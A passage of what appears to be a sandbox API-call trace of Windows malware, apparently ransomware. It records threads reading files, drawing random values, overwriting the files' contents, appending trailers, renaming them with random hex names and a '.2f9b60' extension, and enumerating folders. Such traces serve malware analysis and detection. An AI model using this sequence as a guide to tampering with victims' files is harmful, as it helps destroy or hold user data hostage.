Flags=0x0, BaseAddress=0x43135740) returned 1 [0189.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0189.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62aa0) returned 1 [0189.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x4313d710 [0189.077] SetFilePointerEx (in: hFile=0x30d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.077] WriteFile (in: hFile=0x30d4, lpBuffer=0x4313d710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x59bef870, lpOverlapped=0x0 | out: lpBuffer=0x4313d710*, lpNumberOfBytesWritten=0x59bef870*=0x100, lpOverlapped=0x0) returned 1 [0202.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420600b0 [0202.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8930 [0202.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8930) returned 1 [0202.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x42c0e9e0 [0202.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8930 [0202.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8900 [0202.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8900) returned 1 [0202.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0202.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cec8900 [0202.130] sprintf (in: _Dest=0x1cec8900, _Format="%c%c" | out: _Dest="6b") returned 2 [0202.130] sprintf (in: _Dest=0x1cec8902, _Format="%c%c" | out: _Dest="48") returned 2 [0202.130] sprintf (in: _Dest=0x1cec8904, _Format="%c%c" | out: _Dest="80") returned 2 [0202.130] sprintf (in: _Dest=0x1cec8906, _Format="%c%c" | out: _Dest="84") returned 2 [0202.130] sprintf (in: _Dest=0x1cec8908, _Format="%c%c" | out: _Dest="6b") returned 2 [0202.130] sprintf (in: _Dest=0x1cec890a, _Format="%c%c" | out: _Dest="3c") returned 2 [0202.130] sprintf (in: _Dest=0x1cec890c, _Format="%c%c" | out: _Dest="d7") returned 2 [0202.131] sprintf (in: _Dest=0x1cec890e, _Format="%c%c" | out: _Dest="cf") returned 2 [0202.131] sprintf (in: _Dest=0x1cec8910, _Format="%c%c" | out: _Dest="46") returned 2 [0202.131] sprintf (in: _Dest=0x1cec8912, _Format="%c%c" | out: _Dest="32") returned 2 [0202.131] sprintf (in: _Dest=0x1cec8914, _Format="%c%c" | out: _Dest="87") returned 2 [0202.131] sprintf (in: _Dest=0x1cec8916, _Format="%c%c" | out: _Dest="cd") returned 2 [0202.131] sprintf (in: _Dest=0x1cec8918, _Format="%c%c" | out: _Dest="f8") returned 2 [0202.131] sprintf (in: _Dest=0x1cec891a, _Format="%c%c" | out: _Dest="bd") returned 2 [0202.131] RtlInitAnsiString (in: DestinationString=0x59bef8e8, SourceString="6b4880846b3cd7cf463287cdf8bd" | out: DestinationString="6b4880846b3cd7cf463287cdf8bd") [0202.131] RtlAnsiStringToUnicodeString (in: DestinationString=0x59bef8b8, SourceString="6b4880846b3cd7cf463287cdf8bd", AllocateDestinationString=1 | out: DestinationString="6b4880846b3cd7cf463287cdf8bd") returned 0x0 [0202.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5c100 [0202.132] wcscat (in: _Dest=0x420600b0, _Source="6b48808" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808" [0202.132] wcscat (in: _Dest=0x420600b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808.2f9b60" [0202.132] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808.2f9b60", NtPathName=0x59bef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6b48808.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431980c0 Thread: id = 3433 os_tid = 0x388 [0172.735] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\seoul")) returned 0x20 [0176.248] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul", dwFileAttributes=0x20) returned 1 [0183.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\seoul"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x30d8 [0185.389] GetFileSizeEx (in: hFile=0x30d8, lpFileSize=0x5aa3f900 | out: lpFileSize=0x5aa3f900*=165) returned 1 [0185.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b20 [0185.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec84e0 [0185.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8570 [0185.390] NtQuerySystemTime (in: CurrentTime=0x5aa3f7c0 | out: CurrentTime=0x5aa3f7c0*=132462177904834000) returned 0x0 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7ab87a5d [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x4841a497 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7650bae2 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x34881e42 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x44d1fae4 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7245a391 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0xc5698e7 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7eedc71a [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x4faae0c0 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x1bfdb636 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x1e35f7c8 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7db7bb19 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x8292ff4 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x8be275d [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7d18bc73 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x10a9d5c6 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7964f050 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x63fd44e7 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x248e44a0 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x30602c15 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x6b346761 [0185.390] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x78c46e0d [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x455c0b8c [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x351ac639 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x3274e991 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x1c9b11f6 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0xba3d420 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x613114de [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x432e29d6 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x193ce643 [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x7499d6aa [0185.391] RtlRandomEx (in: Seed=0x5aa3f7b0 | out: Seed=0x5aa3f7b0) returned 0x1347ffde [0185.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec85a0 [0185.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0185.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec85d0 [0185.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0185.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8570) returned 1 [0185.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b20) returned 1 [0185.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f00 [0185.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0185.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b20 [0185.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b20) returned 1 [0185.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422889a0 [0185.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4228c5b0 [0185.404] ReadFile (in: hFile=0x30d8, lpBuffer=0x422889a0, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x5aa3f7b0, lpOverlapped=0x0 | out: lpBuffer=0x422889a0*, lpNumberOfBytesRead=0x5aa3f7b0*=0xa5, lpOverlapped=0x0) returned 1 [0185.405] SetFilePointerEx (in: hFile=0x30d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.405] WriteFile (in: hFile=0x30d8, lpBuffer=0x4228c5b0*, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0x5aa3f7b4, lpOverlapped=0x0 | out: lpBuffer=0x4228c5b0*, lpNumberOfBytesWritten=0x5aa3f7b4*=0xa5, lpOverlapped=0x0) returned 1 [0189.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0189.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0189.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cc0) returned 1 [0189.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4228c5b0) returned 1 [0189.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422889a0) returned 1 [0189.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0189.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f00) returned 1 [0189.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d880 [0189.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f00 [0189.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0189.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0189.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cc0) returned 1 [0189.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0189.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0189.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0189.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0189.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0189.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f00) returned 1 [0189.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x42055710 [0189.031] SetFilePointerEx (in: hFile=0x30d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.031] WriteFile (in: hFile=0x30d8, lpBuffer=0x42055710*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x5aa3f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42055710*, lpNumberOfBytesWritten=0x5aa3f8d0*=0xfc, lpOverlapped=0x0) returned 1 [0202.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0202.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec84b0 [0202.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec84b0) returned 1 [0202.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x431f8740 [0202.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec84b0 [0202.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8480 [0202.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8480) returned 1 [0202.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0202.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x431f8760 [0202.072] sprintf (in: _Dest=0x431f8760, _Format="%c%c" | out: _Dest="78") returned 2 [0202.072] sprintf (in: _Dest=0x431f8762, _Format="%c%c" | out: _Dest="01") returned 2 [0202.072] sprintf (in: _Dest=0x431f8764, _Format="%c%c" | out: _Dest="70") returned 2 [0202.072] sprintf (in: _Dest=0x431f8766, _Format="%c%c" | out: _Dest="03") returned 2 [0202.073] sprintf (in: _Dest=0x431f8768, _Format="%c%c" | out: _Dest="42") returned 2 [0202.073] sprintf (in: _Dest=0x431f876a, _Format="%c%c" | out: _Dest="94") returned 2 [0202.073] sprintf (in: _Dest=0x431f876c, _Format="%c%c" | out: _Dest="e3") returned 2 [0202.073] sprintf (in: _Dest=0x431f876e, _Format="%c%c" | out: _Dest="13") returned 2 [0202.073] sprintf (in: _Dest=0x431f8770, _Format="%c%c" | out: _Dest="af") returned 2 [0202.073] sprintf (in: _Dest=0x431f8772, _Format="%c%c" | out: _Dest="0f") returned 2 [0202.073] RtlInitAnsiString (in: DestinationString=0x5aa3f948, SourceString="780170034294e313af0f" | out: DestinationString="780170034294e313af0f") [0202.073] RtlAnsiStringToUnicodeString (in: DestinationString=0x5aa3f918, SourceString="780170034294e313af0f", AllocateDestinationString=1 | out: DestinationString="780170034294e313af0f") returned 0x0 [0202.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5dcf0 [0202.074] wcscat (in: _Dest=0x42061c30, _Source="78017" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017" [0202.074] wcscat (in: _Dest=0x42061c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017.2f9b60" [0202.074] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017.2f9b60", NtPathName=0x5aa3f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\78017.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43197da0 Thread: id = 3450 os_tid = 0x1dac [0172.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d0b0 [0172.800] wcscpy (in: _Dest=0x2050d0b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0172.800] wcscat (in: _Dest=0x2050d0b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\" [0172.800] wcscat (in: _Dest=0x2050d0b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0172.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0172.800] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0172.801] wcscmp (_String1=".", _String2=".") returned 0 [0172.801] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.801] wcscmp (_String1="..", _String2=".") returned 1 [0172.801] wcscmp (_String1="..", _String2="..") returned 0 [0172.801] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="COMPON~1.LNK")) returned 1 [0172.801] wcscmp (_String1="Component Services.lnk", _String2=".") returned 1 [0172.801] wcscmp (_String1="Component Services.lnk", _String2="..") returned 1 [0172.801] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="COMPUT~1.LNK")) returned 1 [0172.801] wcscmp (_String1="Computer Management.lnk", _String2=".") returned 1 [0172.801] wcscmp (_String1="Computer Management.lnk", _String2="..") returned 1 [0172.801] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="DATASO~1.LNK")) returned 1 [0172.802] wcscmp (_String1="Data Sources (ODBC).lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="Data Sources (ODBC).lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.802] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0172.802] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="EVENTV~1.LNK")) returned 1 [0172.802] wcscmp (_String1="Event Viewer.lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="Event Viewer.lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="ISCSII~1.LNK")) returned 1 [0172.802] wcscmp (_String1="iSCSI Initiator.lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="iSCSI Initiator.lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="MEMORY~1.LNK")) returned 1 [0172.802] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="PERFOR~1.LNK")) returned 1 [0172.802] wcscmp (_String1="Performance Monitor.lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="Performance Monitor.lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="PRINTM~1.LNK")) returned 1 [0172.802] wcscmp (_String1="Print Management.lnk", _String2=".") returned 1 [0172.802] wcscmp (_String1="Print Management.lnk", _String2="..") returned 1 [0172.802] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="SECURI~1.LNK")) returned 1 [0172.803] wcscmp (_String1="Security Configuration Management.lnk", _String2=".") returned 1 [0172.803] wcscmp (_String1="Security 